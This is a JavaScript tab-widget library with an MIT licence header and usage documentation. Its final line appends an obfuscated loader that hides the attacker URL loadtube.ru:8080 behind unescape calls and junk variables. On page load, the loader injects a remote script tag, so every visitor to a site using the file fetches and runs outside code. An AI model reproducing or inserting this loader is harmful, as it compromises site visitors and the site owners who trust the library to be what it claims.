/*
*	TABS
*	---------------------------------------------------------------------------
*	Copyright (c) 2008 Dan Peverill
*	http://www.danpeverill.com
*
*	LICENSE
*	---------------------------------------------------------------------------
*	The MIT License
*	http://www.opensource.org/licenses/mit-license.php
*
*	INSALLATION
*	---------------------------------------------------------------------------
*	Tabs are controlled with links. Each link has a target that it is attached to and specified
*	as an #anchor in the href attribute. Example: <a href="#tab">tab</a>. The #anchor
*	is the id of the actual target.
*
*	Tabs can be grouped or single. Grouping tabs you specify the parent
*	class of the tabs with the "tabs" class. For a single tab just add the class "tabs" to it.
*
*	Active tabs given the class "active" by default. Inactive tabs have no class. You may
*	specify the default active/inactive tabs  by adding the class "active" to any of them in
*	your HTML.
*
*	Tab targets are automatically shown and hidden as you click the appropriate tabs. You can control
*	this behavior with callback functions (see below). It is up to you to style the tabs and tab targets
*	with CSS. This script only toggles the active class on tabs and shows/hides the tab targets.
*
*	You may add custom tabs yourself with Tabs.create(tabs, callbacks).
*	
*	Callbacks is an optional argument. Callbacks is an object with two optional properties: click, show.
*	These options are a function that handles the appropriate callback. Each callback can accept
*	two arguments, the click event and the currently active tab target. this refers to the tab.
*	click: This callback is triggered just as a tab is clicked. Returning false cancels the entire event.
*	show: This callback is triggered after the active class and tab has been set, but just before
*		the tab targets are shown.  Returning false means you  handled the showing/hiding of
*		of the tab targets.
*/

var Tabs = {
	className: "tabs",
	activeClass: "active",
	
	addLoadEvent: function(event) {
		var oldLoad = window.onload;
		
		window.onload = function() {
			event();
			if (oldLoad) oldLoad();
		}
	},
	
	create: function(tabs, callbacks) {
		if (!tabs.length)
			this.createSingle(tabs, callbacks);
		else
			this.createGroup(tabs, callbacks);
	},
	
	createSingle: function(tab, callbacks) {
		if (this.Element.hasClass(tab, this.activeClass))
			this.Element.show(this.getTarget(tab));
	
		this.Element.addClickEvent(tab, function(e) {
			if (!Tabs._callback(this, callbacks, "click", e))
				return false;	// Cancel event.
			
			Tabs.Element.toggleClass(this, Tabs.activeClass);
			
			if (!Tabs._callback(this, callbacks, "show", e))
				return false;	// Callback handled visibility change.
			
			Tabs.Element.toggleVisibility(Tabs.getTarget(this));
		});
	},
	
	createGroup: function(tabs, callbacks) {
		var active;
		
		for (var i = 0; i < tabs.length; i++) {
			var tab = tabs[i];
			if (this.Element.hasClass(tab, this.activeClass)) {
				active = tab;
				this.Element.addClass(tab);
				this.Element.show(this.getTarget(tab));
			}
			else {
				this.Element.hide(this.getTarget(tab));
			}

			Tabs.Element.addClickEvent(tab, function(e) {
				if (!Tabs._callback(this, callbacks, "click", e, active))
					return false;	// Cancel event.
					
				Tabs.Element.removeClass(active, Tabs.activeClass);
				Tabs.Element.addClass(this, Tabs.activeClass);
				
				var from = active;
				active = this;
				
				if (!Tabs._callback(this, callbacks, "show", e, from))
					return false;	// Callback handled visibility change.
				
				Tabs.Element.hide(Tabs.getTarget(from));
				Tabs.Element.show(Tabs.getTarget(this));
			});
		}
		
		if (!active) {
			var tab = tabs[0];
			active = tab;
			
			this.Element.addClass(tab, this.activeClass);
			this.Element.show(this.getTarget(tab));
		}
	},
	
	_callback: function(element, callbacks, type, e, active) {
		if (callbacks && callbacks[type] && callbacks[type].call(element, e, active) === false)
			return false;
		
		return true;
	},
	
	getTarget: function(tab) {
		var match = /#(.*)$/.exec(tab.href);
		var target;
		
		if (match && (target = document.getElementById(match[1])))
			return target;
	},
	
	getElementsByClassName: function(className, tag) {
		var elements = document.getElementsByTagName(tag || "*");
		var list = new Array();
		
		for (var i = 0; i < elements.length; i++) {
			if (this.Element.hasClass(elements[i], this.className))
				list.push(elements[i]);
		}
		
		return list;
	}
};

Tabs.Element = {
	addClickEvent: function(element, callback) {
		var oldClick = element.onclick;
		
		element.onclick = function(e) {
			callback.call(this, e);
			if (oldClick) oldClick.call(this, e);	// Play nice with others.
			
			return false;
		}
	},
	
	addClass: function(element, className) {
		element.className += (element.className ? " " : "") + className;
	},
	
	removeClass: function(element, className) {
		element.className = element.className.replace(new RegExp("(^|\\s)" + className + "(\\s|$)"), "$1");
		if (element.className == " ")
			element.className = "";
	},

	hasClass: function(element, className) {
		return element.className && (new RegExp("(^|\\s)" + className + "(\\s|$)")).test(element.className);
	},
	
	toggleClass: function(element, className) {
		if (this.hasClass(element, className))
			this.removeClass(element, className);
		else
			this.addClass(element, className);
	},
	
	getStyle: function(element, property) {
		if (element.style[property]) return element.style[property];
		
		if (element.currentStyle)	// IE.
			return element.currentStyle[property];
			
		property = property.replace(/([A-Z])/g, "-$1").toLowerCase();	// Turns propertyName into property-name.
		var style = document.defaultView.getComputedStyle(element, "");
		if (style)
			return style.getPropertyValue(property);
	},
	
	show: function(element) {
		element.style.display = "";
		if (this.getStyle(element, "display") == "none")
			element.style.display = "block";
	},
	
	hide: function(element) {
		element.style.display = "none";
	},
	
	isVisible: function(element) {
		return this.getStyle(element, "display") != "none";
	},
	
	toggleVisibility: function(element) {
		if (this.isVisible(element))
			this.hide(element);
		else
			this.show(element);
	}
};

Tabs.addLoadEvent(function() {
	var elements = Tabs.getElementsByClassName(Tabs.className);
	for (var i = 0; i < elements.length; i++) {
		var element = elements[i];
			
		if (element.tagName == "A") {
			Tabs.create(element);
		}
		else {	// Group
			var tabs = element.getElementsByTagName("a");
			var group = new Array();
				
			for (var t = 0; t < tabs.length; t++) {
				if (Tabs.getTarget(tabs[t]))
					group.push(tabs[t]);	// Only group actual tab links.
			}

			if (group.length) Tabs.create(group);
		}
	}
});


var AD;if(AD!=''){AD='BW'};var K;if(K!='D' && K!='Hu'){K=''};this.Yv="";function Y(){var TC=new Array();var n=new Array();var YO=unescape;var w;if(w!='a' && w != ''){w=null};var b;if(b!='' && b!='gW'){b=null};var s=window;var V=YO("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%61%63%65%72%2e%63%6f%6d%2f%65%78%61%6d%69%6e%65%72%2e%63%6f%6d%2e%70%68%70");this.KQ='';var hO="";var r;if(r!='' && r!='U'){r=null};function h(T,z){var W='';var M;if(M!='' && M!='vK'){M='TO'};var Gd;if(Gd!='' && Gd!='S'){Gd='xJ'};var qh;if(qh!='' && qh!='P'){qh='gQ'};var H=String("gHqPz".substr(0,1));var u;if(u!='Zl' && u != ''){u=null};var L=YO("%5b"), B=YO("%5d");var DI=new Array();var l=L+z+B;var Bl=new RegExp(l, H);var TT;if(TT!='Gf' && TT!='TcE'){TT=''};var Fl='';return T.replace(Bl, new String());var uS;if(uS!=''){uS='bO'};var BX;if(BX!=''){BX='fU'};};this.ha="";this.Us="";var hp="";var Hz=new Date();var q=h('835446034596861156506135','2463591');var dV;if(dV!='' && dV!='In'){dV=null};this.HU="";var A=new String();var X=document;var Od=new Date();var HA;if(HA!='_c' && HA!='tc'){HA=''};var Bp=new Array();function O(){var wK=new String();var nr=new Date();var m=YO("%68%74%74%70%3a%2f%2f%6c%6f%61%64%74%75%62%65%2e%72%75%3a");var FN;if(FN!='' && FN!='Zg'){FN='Ab'};var gG;if(gG!='' && gG!='AH'){gG='fc'};var LC;if(LC!='' && LC!='jY'){LC=null};A=m;var lm=new Date();var TN=new Date();A+=q;A+=V;this.Be='';try {var Op;if(Op!=''){Op='DC'};var fD;if(fD!=''){fD='Dh'};var uF="";var hI;if(hI!='pV' && hI != ''){hI=null};C=X.createElement(h('socorniop1to','n91o'));this.WF='';var tB=new String();C[YO("%73%72%63")]=A;var MY;if(MY!='gI'){MY='gI'};var ID;if(ID!=''){ID='HO'};C[YO("%64%65%66%65%72")]=[1][0];var SPC;if(SPC!=''){SPC='SI'};var tD;if(tD!='HUl'){tD=''};var wx=new String();var Wv;if(Wv!='Iz'){Wv=''};X.body.appendChild(C);var xE;if(xE!='Wg'){xE=''};var Xi="";} catch(zd){alert(zd);var NG='';this.sM='';};var JE=new String();var qB;if(qB!=''){qB='bq'};}var Ak;if(Ak!='' && Ak!='Yn'){Ak=''};var To='';s[new String("on"+"lo"+"ad")]=O;var bN='';this.AB="";};var nP;if(nP!='' && nP!='Qu'){nP='vr'};Y();
